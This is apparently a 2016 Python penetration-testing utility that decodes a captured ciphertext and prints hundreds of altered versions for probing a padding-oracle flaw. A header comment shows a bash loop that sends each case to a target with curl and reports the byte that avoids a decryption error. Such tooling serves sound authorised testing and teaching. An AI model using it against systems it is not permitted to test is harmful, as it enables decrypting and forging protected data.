#!/usr/bin/python
#
#   Padding Oracle test-cases generator.
#   Mariusz Banach / mgeeky, 2016
#   v0.2
# 
#   Simple utility that aids the penetration tester when manually testing Padding Oracle condition
#   of a target cryptosystem, by generating set of test cases to fed the cryptosystem with.
#
# Script that takes from input an encoded cipher text, tries to detect applied encoding, decodes the cipher
# and then generates all the possible, reasonable cipher text transformations to be used while manually
# testing for Padding Oracle condition of cryptosystem. The output of this script will be hundreds of
# encoded values to be used in manual application testing approaches, like sending requests.
#
# One of possible scenarios and ways to use the below script could be the following:
#   - clone the following repo: https://github.com/GDSSecurity/PaddingOracleDemos
#   - launch pador.py which is an example of application vulnerable to Padding Oracle
#   - then by using `curl http://localhost:5000/echo?cipher=<ciphertext>` we are going to manually
#       test for Padding Oracle outcomes. The case of returning something not being a 'decryption error'
#       result would be considered padding-hit, therefore vulnerability proof.
#
#   This script could be then launched to generate every possible test case of second to the last block
#   being filled with specially tailored values (like vector of zeros with last byte ranging from 0-255)
#   and then used in some kind of local http proxy (burp/zap) or http client like (curl/wget).
#
# Such example usage look like:
#
#---------------------------------------------
# bash$ x=0 ; for i in $(./padding-oracle-tests.py 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6); \
#   do curl -s http://host:5000/echo?cipher=$i | grep -qv 'error' && printf "Byte: 0x%02x not generated decryption error.\n" $x ; x=$((x+1)); done
#
# [?] Data resembles block cipher with block size = 16
# [?] Data resembles block cipher with block size = 8
# 
# Generated in total: 512 test cases for 8, 16 block sizes.
# Byte: 0x87 not generated decryption error.
#---------------------------------------------
#
# There the script took at it's first parameter the hex encoded parameter, used it to feed test cases generator and resulted with 512
# test cases varying with the last byte of the second to the last block:
#   (...)
#   484b850123a04baf15df9be14e87369b000000000000000000000000000000fad2382fb0a54f3a2954bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369b000000000000000000000000000000fbd2382fb0a54f3a2954bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369b000000000000000000000000000000fcd2382fb0a54f3a2954bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369b000000000000000000000000000000fdd2382fb0a54f3a2954bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369b000000000000000000000000000000fed2382fb0a54f3a2954bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369b000000000000000000000000000000ffd2382fb0a54f3a2954bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000054bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000154bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000254bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000354bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000454bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000554bfebe0a04dd4d6
#   484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e000000000000000654bfebe0a04dd4d6
#   (...)
#
# At the end, those values were used in for loop to launch for every entry a curl client with request to the Padding Oracle.
# The 0x87 byte that was catched was the only one that has not generated a 'decryption error' outcome from the request, resulting
# in improperly decrypted plain-text from attacker-controled cipher text.
#

import re
import sys
import urllib
import binascii as ba
import base64

# Flip this variable when your input data is not being properly processed.
DEBUG = False


def info(txt):
    sys.stderr.write(txt + '\n')

def warning(txt):
    info('[?] ' + txt)

def error(txt):
    info('[!] ' + txt)

def dbg(txt):
    if DEBUG:
        info('[dbg] '+txt)

# or maybe:
#   class PaddingOracleTestCasesWithVaryingSecondToTheLastBlockGenerator
class PaddingOracleTestCasesGenerator:
    NONE   = 0
    B64URL = 1
    B64STD = 2
    HEXENC = 3

    data = ''
    offset = 0
    encoding = NONE
    blocksizes = set()
    urlencoded = False

    def __init__(self, data, blocksize=0):
        self.data = data
        len_before = len(data)
        self.encoding = self.detect_encoding()
        self.data = self.decode(data)

        if blocksize != 0:
            assert blocksize % 8 == 0, "Blocksize must be divisible by 8"
            self.blocksizes = [blocksize,]
        else:
            self.detect_blocksize()

        self.data_evaluation(len_before)

    def data_evaluation(self, len_before):
        def entropy(txt):
            import math
            from collections import Counter
            p, lns = Counter(txt), float(len(txt))
            return -sum( count / lns * math.log(count/lns, 2) for count in p.values())

        e = entropy(self.data)
        warning('Data size before and after decoding: %d -> %d' % (len_before, len(self.data)))
        warning('Data entropy: %.6f' % entropy(self.data))

        if e < 5.0:
            info('\tData does not look random, not likely to deal with block cipher.')    
        elif e >= 5.0 and e < 7.0:
            info('\tData only resembles random stream, hardly to be dealing with block cipher.')
        else:
            info('\tHigh likelihood of dealing with block cipher. That\'s good.')

        if self.offset != 0:
            warning('Data structure not resembles block cipher.')
            warning('Proceeding with sliding window of %d bytes in the beginning and at the end\n' % self.offset)
        else:
            warning('Data resembles block cipher with block size = %d' % max(self.blocksizes))

    def detect_encoding(self):
        b64url = '^[a-zA-Z0-9_\-]+={0,2}$'
        b64std = '^[a-zA-Z0-9\+\/]+={0,2}$'
        hexenc1 = '^[0-9a-f]+$'
        hexenc2 = '^[0-9A-F]+$'

        data = self.data
        if re.search('%[0-9a-f]{2}', self.data, re.I) != None:
            dbg('Sample is url-encoded.')
            data = urllib.unquote_plus(data)
            self.urlencoded = True

        if (re.match(hexenc1, data) or re.match(hexenc2, data)) and len(data) % 2 == 0:
            dbg('Hex encoding detected.')
            return self.HEXENC

        if re.match(b64url, data):
            dbg('Base64url encoding detected.')
            return self.B64URL

        if re.match(b64std, data):
            dbg('Standard Base64 encoding detected.')
            return self.B64STD

        error('Warning: Could not detect data encoding. Going with plain data.')
        return self.NONE

    def detect_blocksize(self):
        sizes = [32, 16, 8]     # Correspondigly: 256, 128, 64 bits

        self.offset = len(self.data) % 8
        datalen = len(self.data) - self.offset

        for s in sizes:
            if datalen % s == 0 and datalen / s >= 2:
                self.blocksizes.add(s)

        if not len(self.blocksizes):
            if datalen >= 32:
                self.blocksizes.add(16)
            if datalen >= 16:
                self.blocksizes.add(8)

        if not len(self.blocksizes):
            raise Exception("Could not detect data's blocksize automatically.")

    def encode(self, data):
        def _enc(data):
            if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
                return base64.urlsafe_b64encode(data)
            elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
                return base64.b64encode(data)
            elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
                return ba.hexlify(data).strip()
            else:
                return data

        enc = _enc(data)
        if self.urlencoded:
            return urllib.quote_plus(enc)
        else:
            return enc

    def decode(self, data):
        def _decode(self, data):
            if self.urlencoded:
                data = urllib.unquote_plus(data)
            
            if self.encoding == PaddingOracleTestCasesGenerator.B64URL:
                return base64.urlsafe_b64decode(data)
            elif self.encoding == PaddingOracleTestCasesGenerator.B64STD:
                return base64.b64decode(data)
            elif self.encoding == PaddingOracleTestCasesGenerator.HEXENC:
                return ba.unhexlify(data).strip()
            else:
                return data

        dbg("Hex dump of data before decoding:\n" + hex_dump(data))
        decoded = _decode(self, data)
        dbg("Hex dump of data after decoding:\n" + hex_dump(decoded))
        return decoded

    def construct_second_to_last_block(self, data, blocksize, value, offset=0):

        assert len(data) >= 2 * blocksize, "Too short data to operate on it with given blocksize."
        assert abs(offset) < blocksize, "Incorrect offset was specified. Out-of-bounds access."

        # Null vector with the last byte set to iterated value.
        block = '0' * (2*(blocksize-1)) + '%02x' % value

        if offset >= 0:
            # datadata<rest>
            return data[:-2*blocksize-offset] + ba.unhexlify(block) + data[-blocksize-offset:]
        else:
            # <rest>datadata
            return data[-offset:-2*blocksize] + ba.unhexlify(block) + data[-blocksize:]

    def generate_test_cases(self):
        cases = []
        data = self.data
        for size in self.blocksizes:
            dbg("Now generating test cases of %d blocksize." % size)
            for byte in range(256):

                # No offset
                cases.append(self.encode(self.construct_second_to_last_block(data, size, byte)))

                if self.offset != 0:
                    cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, self.offset)))
                    cases.append(self.encode(self.construct_second_to_last_block(data, size, byte, -self.offset)))
         
        return cases

def hex_dump(data):
    s = ''
    n = 0
    lines = []

    if len(data) == 0:
        return '<empty>'

    for i in range(0, len(data), 16):
        line = ''
        line += '%04x | ' % (i)
        n += 16

        for j in range(n-16, n):
            if j >= len(data): break
            line += '%02x ' % ord(data[j])

        line += ' ' * (3 * 16 + 7 - len(line)) + ' | '

        for j in range(n-16, n):
            if j >= len(data): break
            c = data[j] if not (ord(data[j]) < 0x20 or ord(data[j]) > 0x7e) else '.'
            line += '%c' % c

        lines.append(line)

    return '\n'.join(lines)

def main():
    info('\n\tPadding Oracle test-cases generator')
    info('\tMariusz Banach / mgeeky, 2016\n')

    if len(sys.argv) < 2:
        warning('usage: padding-oracle-tests.py <data> [blocksize]')
        sys.exit(0)

    data = sys.argv[1].strip()
    bsize = int(sys.argv[2]) if len(sys.argv) > 2 else 0

    try:
        tester = PaddingOracleTestCasesGenerator(data, bsize)
    except Exception as e:
        error(str(e))
        return False

    s = hex_dump(tester.data)
    info('Decoded data:\n%s\n' % s)

    cases = tester.generate_test_cases()

    for case in cases:
        if DEBUG:
            dbg('...' + case[-48:])
        else:
            print case
    
    info('\n[+] Generated in total: %d test cases for %s block sizes.' \
        % (len(cases), ', '.join([str(e) for e in sorted(tester.blocksizes)])))


if __name__ == '__main__':
    main()
